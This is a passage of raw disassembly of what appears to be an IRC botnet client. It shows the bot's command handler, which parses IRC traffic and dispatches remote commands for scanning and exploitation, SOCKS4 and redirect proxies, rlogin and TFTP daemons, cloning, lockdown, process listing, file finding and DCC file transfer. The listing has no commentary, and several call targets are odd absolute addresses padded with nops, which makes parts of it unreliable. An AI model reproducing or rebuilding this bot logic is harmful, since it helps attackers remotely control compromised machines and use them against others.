		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F397:				; CODE XREF: sub_40EE72+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3B9
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F3E0


loc_40F3B9:				; CODE XREF: sub_40EE72+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40F3BE:				; CODE XREF: sub_40EE72+56Cj
		cmp	[edi], bl
		jz	short loc_40F3D4
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42E


loc_40F3D4:				; CODE XREF: sub_40EE72+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F3BE


loc_40F3E0:				; CODE XREF: sub_40EE72+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F48F
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_432DAC


loc_40F422:				; CODE XREF: sub_40EE72+5B47j
					; sub_40EE72+5E96j ...
		call	sub_40BFE1
		pop	ecx


loc_40F428:				; CODE XREF: sub_40EE72+5FABj
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D7C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		cmp	dword_42F5B8, ebx
		jz	loc_414F47


loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_432D70
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432D2C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	loc_40F7EF


loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_40F659
; ---------------------------------------------------------------------------


loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1


loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB


loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax


loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------


loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]


loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_432D20
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_4CD770
		mov	eax, off_42F6CC[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_432D04
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_4CD67C


loc_40F7A0:				; CODE XREF: sub_40EE72+58C1j
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_432CE0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_432CC8
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset dword_432C80
		jmp	loc_40F95B
; ---------------------------------------------------------------------------


loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_432C30


loc_40F813:				; CODE XREF: sub_40EE72+6177j
					; sub_40EE72+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432BF8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40F933


loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------


loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_432BB4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B74
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432B34


loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239


loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4F
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47


loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F47
		xor	edi, edi
		cmp	dword_42F798, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_43FA70


loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42F798
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------


loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_432E88 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_43FA88[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_43FA70[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------


loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h


loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch


loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1


loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F


loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415D01
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h


loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_432AF0 ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E


loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------


loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730C
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------


loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx


loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF5
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED3
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E31
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E22
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0D
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BEB
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_432A38


loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FEA
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_432A14
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_432A04
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_4329F8
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_4329F0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_4329E4
		push	offset dword_4329D8
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4329B4
		push	offset dword_4329A4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_432998
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_43298C
		push	offset dword_432980
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_432970
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_432964
		push	offset dword_432958
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_432948
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43293C
		push	offset dword_432930
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_432920
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_432914
		push	offset dword_432908
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4


loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_4328EC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD3
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBB
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_43288C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_432864
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA5
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B84
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
